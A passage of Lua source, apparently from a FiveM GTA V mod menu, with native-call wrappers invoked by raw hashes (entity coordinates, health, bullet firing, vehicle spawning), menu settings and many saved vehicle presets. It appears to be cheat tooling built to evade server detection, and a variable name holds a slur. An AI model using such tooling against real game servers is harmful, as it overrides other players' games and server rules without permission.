1176 getVehicleXenonLightsColour = function(vehicle) --[[GetVehicleXenonLightsColour]]
1177 return (pInvoke(" 0x3DFF319A831E0CDB ", vehicle, Citizen.ReturnResultAnyway(), Citizen.ResultAsInteger()))
1178 end,
1179 setVehicleXenonLightsColour = function(vehicle, color) --[[SetVehicleXenonLightsColour]]
1180 return (pInvoke(" 0xE41033B25D003A07 ", vehicle, color))
1181 end,
1182 doesExtraExist = function(vehicle, extraId) --[[DoesExtraExist]]
1183 return (pInvoke(" 0x1262D55792428154 ", vehicle, extraId, Citizen.ReturnResultAnyway()))
1184 end,
1185 setEntityVisible = function(entity, toggle, unk) --[[SetEntityVisible]]
1186 return (pInvoke(" 0xEA1C610A04DB6BBB ", entity, toggle, unk))
1187 end,
1188 createVehicle = function(modelHash, x, y, z, heading, isNetwork, thisScriptCheck) --[[CreateVehicle]]
1189 return (pInvoke(" 0xAF35D0D2583051B0 ", modelHash, x, y, z, heading, isNetwork, thisScriptCheck, Citizen.ReturnResultAnyway(), Citizen.ResultAsInteger()))
1190 end,
1191 setEntityCoords = function(entity, xPos, yPos, zPos, xAxis, yAxis, zAxis, clearArea) --[[SetEntityCoords]]
1192 return (pInvoke(" 0x06843DA7060A026B ", entity, xPos, yPos, zPos, xAxis, yAxis, zAxis, clearArea))
1193 end,
1194 setEntityCoordsNoOffset = function(entity, xPos, yPos, zPos, xAxis, yAxis, zAxis) --[[SetEntityCoordsNoOffset]]
1195 return (pInvoke(" 0x239A3351AC1DA385 ", entity, xPos, yPos, zPos, xAxis, yAxis, zAxis))
1196 end,
1197 shootSingleBulletBetweenCoords = function(x1, y1, z1, x2, y2, z2, damage, p7, weaponHash, ownerPed, isAudible, isInvisible, speed) --[[ShootSingleBulletBetweenCoords]]
1198 return (pInvoke(" 0x867654CBC7606F2C ", x1, y1, z1, x2, y2, z2, damage, p7, GetHashKey(weaponHash), ownerPed, isAudible, isInvisible, speed))
1199 end,
1200 setEntityHealth = function(entity, health) --[[SetEntityHealth]]
1201 return (pInvoke(" 0x6B76DC1F3AE6E6A3 ", entity, health))
1202 end,
1203 setPedArmour = function(ped, amount) --[[SetPedArmour]]
1204 return (pInvoke(" 0xCEA04D83135264CC ", ped, amount))
1205 end,
1206 setTextFont = function(fontType) --[[SetTextFont]]
1207 return (pInvoke(" 0x66E0276CC5F6B9DA ", fontType))
1208 end,
1209 setTextColour = function(red, green, blue, alpha) --[[SetTextColour]]
1210 return (pInvoke(" 0xBE6B23FFA53FB442 ", red, green, blue, alpha))
1211 end,
1212 setTextScale = function(scale, size) --[[SetTextScale]]
1213 return (pInvoke(" 0x07C837F9A01C34C9 ", scale, size))
1214 end,
1215 setTextDropShadow = function() --[[SetTextDropShadow]]
1216 return (pInvoke(" 0x1CA3E9EAC9D93E5E "))
1217 end,
1218 playSoundFrontend = function(soundId, audioName, audioRef, p3) --[[PlaySoundFrontend]]
1219 return (pInvoke(" 0x67C540AA08E4A6F5 ", soundId, tostring(audioName), tostring(audioRef), p3))
1220 end,
1221 requestStreamedTextureDict = function(textureDict, p1) --[[RequestStreamedTextureDict]]
1222 return (pInvoke(" 0xDFA2EF8E04127DD5 ", tostring(textureDict), p1))
1223 end,
1224 setTextProportional = function(p0) --[[SetTextProportional]]
1225 return (pInvoke(" 0x038C1F517D7FDCF8 ", p0))
1226 end,
1227 setTextOutline = function() --[[SetTextOutline]]
1228 return (pInvoke(" 0x2513DFB0FB8400FE "))
1229 end,
1230 isDisabledControlPressed = function(inputGroup, control) --[[IsDisabledControlPressed]]
1231 return (pInvoke(" 0xE2587F8CBBD87B1D ", inputGroup, control, Citizen.ReturnResultAnyway()))
1232 end,
1233 setArtificialLightsState = function(state)
1234 return (pInvoke(" 0x1268615ACE24D504 ", state))
1235 end
1236 },
1237 menuProps = {
1238 shitMenus = {},
1239 keys = { up = Keys['UP'], down = Keys['DOWN'], left = Keys['LEFT'], right = Keys['RIGHT'], select = Keys['NENTER'], back = 202 },
1240 optionCount = 0,
1241 maximumOptionCount = 12,
1242
1243 currentKey = nil,
1244 currentMenu = nil,
1245
1246 titleHeight = 0.11,
1247 titleYOffset = 0.05,
1248 titleXOffset = 0.5,
1249 titleScale = 1.0,
1250 titleSpacing = 2,
1251
1252 buttonHeight = 0.038,
1253 buttonFont = 0,
1254 buttonScale = 0.365,
1255
1256 _mVersion = 'b1.3.9',
1257 buttonTextYOffset = 0.005,
1258 buttonTextXOffset = 0.005,
1259
1260 selectedThemeRainbow = false,
1261 selectedCheckboxStyle = 'New',
1262 availableCheckboxStyles = {'New', 'Old'},
1263 menu_TextOutline = false,
1264 menu_TextDropShadow = true,
1265 menu_RectOverlay = true,
1266
1267 selectedTheme = 'Classic',
1268 availableThemes = {'Dark', 'Light', 'Classic'},
1269 rainbowInt = 0,
1270 },
1271 functions = {},
1272 trashFunctions = {},
1273 trashTables = {},
1274 menus_list = {},
1275 cachedNotifications = {},
1276
1277 datastore = {
1278 pLocalPlayer = {
1279 cVehicle = 0,
1280 pedId = 0,
1281
1282 should2stepAutist = false,
1283 },
1284
1285 es_extended = nil,
1286 ESX = nil,
1287
1288 trainRide = {
1289 handleHasLoaded = true,
1290 handle = nil,
1291 oldCoords = nil,
1292 trainSpeed = 5.0,
1293 },
1294
1295 savedVehicles = {
1296 {name = 'Nertigel\'s Elegy Retro Custom', props = {["modDashboard"] = 1,["modTransmission"] = 2,["modLivery"] = 4,["modFrame"] = 4,["modWindows"] = 0,["modTank"] = 1,["dirtLevel"] = 10.8,["modArmor"] = 4,["wheels"] = 0,["modFrontWheels"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modBrakes"] = 2,["modPlateHolder"] = 0,["modArchCover"] = -1,["wheelColor"] = 134,["pearlescentColor"] = 12,["modVanityPlate"] = 2,["modStruts"] = 11,["bodyHealth"] = 1000.0,["modAirFilter"] = 1,["modEngineBlock"] = 1,["modRightFender"] = -1,["modFender"] = 1,["modHydrolic"] = -1,["modAerials"] = 6,["modSpeakers"] = -1,["modSuspension"] = 3,["modTrimA"] = 0,["modEngine"] = 3,["modShifterLeavers"] = -1,["modSteeringWheel"] = 9,["modSeats"] = 0,["model"] = 196747873,["color1"] = 12,["modRearBumper"] = 1,["modDoorSpeaker"] = 4,["modSpoilers"] = 2,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["windowTint"] = 1,["plateIndex"] = 1,["modGrille"] = 0,["modTrunk"] = -1,["modAPlate"] = -1,["engineHealth"] = 1000.0,["modXenon"] = 1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modHorns"] = -1,["modHood"] = 4,["fuelLevel"] = 65.0,["modTurbo"] = 1,["modBackWheels"] = -1,["modRoof"] = 0,["modOrnaments"] = -1,["extras"] = { } ,["modTrimB"] = 0,["modFrontBumper"] = -1,["modExhaust"] = 2,["color2"] = 12,["modDial"] = 2,["xenonColor"] = 255,["modSideSkirt"] = 4,}},
1297 {name = 'Nertigel\'s Jester Classic', props = {["modFrame"] = 2,["modTransmission"] = 2,["modRoof"] = 0,["modLivery"] = 1,["color1"] = 12,["modWindows"] = -1,["modTank"] = -1,["modSideSkirt"] = 0,["modSpeakers"] = -1,["wheels"] = 0,["modAerials"] = -1,["dirtLevel"] = 6.2,["modArchCover"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modStruts"] = -1,["modBackWheels"] = -1,["engineHealth"] = 1000.0,["modSuspension"] = 4,["modTurbo"] = 1,["modAirFilter"] = -1,["modEngineBlock"] = -1,["modHydrolic"] = -1,["modOrnaments"] = -1,["modEngine"] = 3,["modHood"] = 2,["fuelLevel"] = 65.0,["modTrunk"] = -1,["modRightFender"] = -1,["modTrimB"] = -1,["modFrontBumper"] = 8,["modShifterLeavers"] = -1,["wheelColor"] = 12,["model"] = -214906006,["modFrontWheels"] = 8,["windowTint"] = 1,["bodyHealth"] = 1000.0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSeats"] = -1,["modHorns"] = -1,["modRearBumper"] = -1,["modDoorSpeaker"] = -1,["modBrakes"] = 2,["modDial"] = -1,["modSmokeEnabled"] = 1,["modGrille"] = -1,["modFender"] = 0,["modTrimA"] = -1,["modVanityPlate"] = -1,["modPlateHolder"] = -1,["plateIndex"] = 1,["modSteeringWheel"] = -1,["modXenon"] = 1,["color2"] = 12,["modArmor"] = 4,["modDashboard"] = -1,["pearlescentColor"] = 12,["extras"] = { } ,["modExhaust"] = 3,["modAPlate"] = -1,["xenonColor"] = 255,["modSpoilers"] = 0,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,}},
1298 {name = 'Nertigel\'s Schwartzer', props = {["color2"] = 12,["modBackWheels"] = -1,["bodyHealth"] = 1000.0,["modLivery"] = -1,["modArchCover"] = -1,["wheelColor"] = 12,["modTank"] = -1,["modXenon"] = 1,["modAerials"] = -1,["modOrnaments"] = -1,["modWindows"] = -1,["modStruts"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modAirFilter"] = -1,["modEngineBlock"] = -1,["modHydrolic"] = -1,["modFender"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["dirtLevel"] = 5.1,["modArmor"] = 4,["modHorns"] = -1,["modAPlate"] = -1,["modTrunk"] = -1,["modShifterLeavers"] = -1,["modPlateHolder"] = -1,["model"] = -746882698,["modSpeakers"] = -1,["extras"] = { ["10"] = false,["12"] = false,} ,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modHood"] = -1,["modRoof"] = -1,["modEngine"] = 3,["modTrimA"] = -1,["modFrame"] = 0,["modFrontBumper"] = 1,["modExhaust"] = 2,["modSteeringWheel"] = -1,["modFrontWheels"] = 25,["color1"] = 12,["modTrimB"] = -1,["modSmokeEnabled"] = 1,["windowTint"] = 1,["modSeats"] = -1,["fuelLevel"] = 65.0,["modSpoilers"] = 0,["modSuspension"] = 2,["modTransmission"] = 2,["plateIndex"] = 1,["modBrakes"] = 2,["modDashboard"] = -1,["modRightFender"] = -1,["wheels"] = 7,["modSideSkirt"] = 0,["modDial"] = -1,["modRearBumper"] = 0,["modGrille"] = 0,["modVanityPlate"] = -1,["modDoorSpeaker"] = -1,["pearlescentColor"] = 12,["xenonColor"] = 255,["modTurbo"] = 1,["engineHealth"] = 1000.0,}},
1299
1300 {name = 'Alfa Romeo Giulia QV', props = {["modLivery"] = 0,["xenonColor"] = 255,["model"] = 433374210,["extras"] = { ["11"] = true,} ,["modTurbo"] = 1,["suspensionRaise"] = 2.2351741291171e-10,["dirtLevel"] = 6.8,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = -1,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 4,["modFrame"] = -1,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 31,["wheels"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 3,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = -1,["color1"] = 12,["modExhaust"] = -1,["modRoof"] = -1,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = -1,["plateIndex"] = 1,["wheelColor"] = 156,["modEngineBlock"] = -1,["modRearBumper"] = -1,["modVanityPlate"] = -1,["modFrontBumper"] = -1,}},
1301
1302 {name = 'Aston Martin DBS 2008', props = {["modLivery"] = -1,["xenonColor"] = 255,["model"] = -1131896028,["extras"] = { } ,["modTurbo"] = 1,["suspensionRaise"] = -0.019999995827675,["dirtLevel"] = 3.8,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = -1,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = 9,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 1,["modFrame"] = -1,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 2,["wheels"] = 7,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 3,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = -1,["color1"] = 83,["modExhaust"] = -1,["modRoof"] = -1,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = -1,["plateIndex"] = 1,["wheelColor"] = 12,["modEngineBlock"] = -1,["modRearBumper"] = -1,["modVanityPlate"] = -1,["modFrontBumper"] = -1,}},
1303
1304 {name = 'Bentley Bentayga 2017', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 1,["suspensionRaise"] = -0.060000006109476,["fuelLevel"] = 60.0,["modLivery"] = -1,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 1,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 12.2,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = 1728797204,["modAPlate"] = -1,["modHood"] = 0,["wheelColor"] = 156,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = -1,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["1"] = false,["2"] = false,["10"] = false,["3"] = false,["4"] = true,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 12,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 3,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = -1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = 1,["color2"] = 2,["modFrame"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = -1,["modAerials"] = -1,}},
1305 {name = 'Bentley Continental GT 2013', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = -1,["suspensionRaise"] = -0.03999999910593,["fuelLevel"] = 60.0,["modLivery"] = -1,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = -1,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 8.0,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = 899312186,["modAPlate"] = -1,["modHood"] = -1,["wheelColor"] = 122,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = -1,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["1"] = true,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 12,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = -1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = 0,["color2"] = 88,["modFrame"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 0,["modAerials"] = -1,}},
1306
1307 {name = 'Audi A4 Quattro', props = {["modLivery"] = -1,["xenonColor"] = 255,["model"] = -985643932,["extras"] = { } ,["modTurbo"] = 1,["suspensionRaise"] = -0.019999999552965,["dirtLevel"] = 6.1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = -1,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 1,["modFrame"] = -1,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 0,["wheels"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 3,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = -1,["color1"] = 14,["modExhaust"] = 0,["modRoof"] = 0,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = -1,["plateIndex"] = 4,["wheelColor"] = 156,["modEngineBlock"] = -1,["modRearBumper"] = 0,["modVanityPlate"] = -1,["modFrontBumper"] = 0,}},
1308 {name = 'Audi A6 2020', props = {["modLivery"] = -1,["xenonColor"] = 255,["model"] = -494839908,["extras"] = { } ,["modTurbo"] = 1,["suspensionRaise"] = -0.059999998658895,["dirtLevel"] = 0.0,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = 3,["modHood"] = 4,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = 2,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = 2,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 1,["modFrame"] = 4,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 112,["wheels"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 3,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = 5,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = 5,["color1"] = 134,["modExhaust"] = 1,["modRoof"] = 1,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = 1,["plateIndex"] = 4,["wheelColor"] = 12,["modEngineBlock"] = -1,["modRearBumper"] = 1,["modVanityPlate"] = -1,["modFrontBumper"] = 3,}},
1309 {name = 'Audi Q8 2020', props = {["modLivery"] = -1,["xenonColor"] = 255,["model"] = -2006731729,["extras"] = { } ,["modTurbo"] = 1,["suspensionRaise"] = -0.019999995827675,["dirtLevel"] = 0.0,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = -1,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 1,["modFrame"] = 0,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 2,["wheels"] = 3,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 4,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = -1,["color1"] = 134,["modExhaust"] = -1,["modRoof"] = -1,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = -1,["plateIndex"] = 4,["wheelColor"] = 112,["modEngineBlock"] = -1,["modRearBumper"] = -1,["modVanityPlate"] = -1,["modFrontBumper"] = -1,}},
1310 {name = 'Audi R8 2020', props = {["modSteeringWheel"] = -1,["suspensionRaise"] = -0.079999998211861,["bodyHealth"] = 1000.0,["modFrontBumper"] = 1,["modLivery"] = -1,["modVanityPlate"] = -1,["modAPlate"] = -1,["extras"] = { } ,["modWindows"] = -1,["xenonColor"] = 255,["modTrimB"] = -1,["pearlescentColor"] = 12,["modTank"] = -1,["modTurbo"] = 1,["color1"] = 134,["modAirFilter"] = -1,["windowTint"] = 1,["modSideSkirt"] = 0,["color2"] = 28,["modSpeakers"] = -1,["fuelLevel"] = 60.0,["modArchCover"] = -1,["wheels"] = 7,["dirtLevel"] = 7.3,["modEngineBlock"] = -1,["modStruts"] = -1,["modSpoilers"] = 3,["modPlateHolder"] = -1,["modXenon"] = 1,["modRearBumper"] = 0,["modRightFender"] = 1,["modDial"] = -1,["modFrontWheels"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["modTrunk"] = -1,["modFrame"] = 0,["modAerials"] = -1,["modSmokeEnabled"] = 1,["modDashboard"] = -1,["modDoorSpeaker"] = -1,["modSeats"] = -1,["modSuspension"] = 4,["modTransmission"] = 2,["plateIndex"] = 4,["modShifterLeavers"] = -1,["wheelColor"] = 12,["modArmor"] = 4,["modTrimA"] = -1,["modFender"] = -1,["modBackWheels"] = -1,["modOrnaments"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["model"] = -143695728,["modHorns"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modRoof"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["engineHealth"] = 1000.0,["modHood"] = 3,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modExhaust"] = -1,}},
1311 {name = 'Audi R8 V10', props = {["modLivery"] = -1,["xenonColor"] = 255,["model"] = -1183566390,["extras"] = { } ,["modTurbo"] = 1,["suspensionRaise"] = -0.070000000298023,["dirtLevel"] = 6.4,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = -1,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 1,["modFrame"] = 0,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 89,["wheels"] = 7,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 2,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = -1,["color1"] = 89,["modExhaust"] = -1,["modRoof"] = -1,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = 1,["plateIndex"] = 1,["wheelColor"] = 12,["modEngineBlock"] = -1,["modRearBumper"] = -1,["modVanityPlate"] = -1,["modFrontBumper"] = 1,}},
1312 {name = 'Audi RS3', props = {["modSteeringWheel"] = -1,["suspensionRaise"] = -0.050000004470348,["bodyHealth"] = 1000.0,["modFrontBumper"] = 4,["modLivery"] = -1,["modVanityPlate"] = -1,["modAPlate"] = -1,["extras"] = { } ,["modWindows"] = -1,["xenonColor"] = 255,["modTrimB"] = -1,["pearlescentColor"] = 12,["modTank"] = -1,["modTurbo"] = 1,["color1"] = 12,["modAirFilter"] = -1,["windowTint"] = 1,["modSideSkirt"] = 0,["color2"] = 27,["modSpeakers"] = -1,["fuelLevel"] = 60.0,["modArchCover"] = -1,["wheels"] = 0,["dirtLevel"] = 10.3,["modEngineBlock"] = -1,["modStruts"] = -1,["modSpoilers"] = -1,["modPlateHolder"] = -1,["modXenon"] = 1,["modRearBumper"] = -1,["modRightFender"] = -1,["modDial"] = -1,["modFrontWheels"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["modTrunk"] = -1,["modFrame"] = -1,["modAerials"] = -1,["modSmokeEnabled"] = 1,["modDashboard"] = -1,["modDoorSpeaker"] = -1,["modSeats"] = -1,["modSuspension"] = 3,["modTransmission"] = 2,["plateIndex"] = 4,["modShifterLeavers"] = -1,["wheelColor"] = 27,["modArmor"] = 4,["modTrimA"] = -1,["modFender"] = -1,["modBackWheels"] = -1,["modOrnaments"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["model"] = -1029368191,["modHorns"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modRoof"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["engineHealth"] = 1000.0,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modExhaust"] = 2,}},
1313 {name = 'Audi RS3 2018', props = {["modSteeringWheel"] = -1,["suspensionRaise"] = -0.029999995604157,["bodyHealth"] = 1000.0,["modFrontBumper"] = 0,["modLivery"] = -1,["modVanityPlate"] = -1,["modAPlate"] = -1,["extras"] = { ["6"] = true,} ,["modWindows"] = -1,["xenonColor"] = 255,["modTrimB"] = -1,["pearlescentColor"] = 12,["modTank"] = -1,["modTurbo"] = 1,["color1"] = 134,["modAirFilter"] = -1,["windowTint"] = 1,["modSideSkirt"] = 2,["color2"] = 12,["modSpeakers"] = -1,["fuelLevel"] = 60.0,["modArchCover"] = -1,["wheels"] = 0,["dirtLevel"] = 9.3,["modEngineBlock"] = -1,["modStruts"] = -1,["modSpoilers"] = -1,["modPlateHolder"] = -1,["modXenon"] = 1,["modRearBumper"] = 0,["modRightFender"] = -1,["modDial"] = -1,["modFrontWheels"] = -1,["modGrille"] = 1,["modHydrolic"] = -1,["modTrunk"] = -1,["modFrame"] = 2,["modAerials"] = -1,["modSmokeEnabled"] = 1,["modDashboard"] = -1,["modDoorSpeaker"] = -1,["modSeats"] = -1,["modSuspension"] = 4,["modTransmission"] = 2,["plateIndex"] = 1,["modShifterLeavers"] = -1,["wheelColor"] = 28,["modArmor"] = 4,["modTrimA"] = -1,["modFender"] = -1,["modBackWheels"] = -1,["modOrnaments"] = 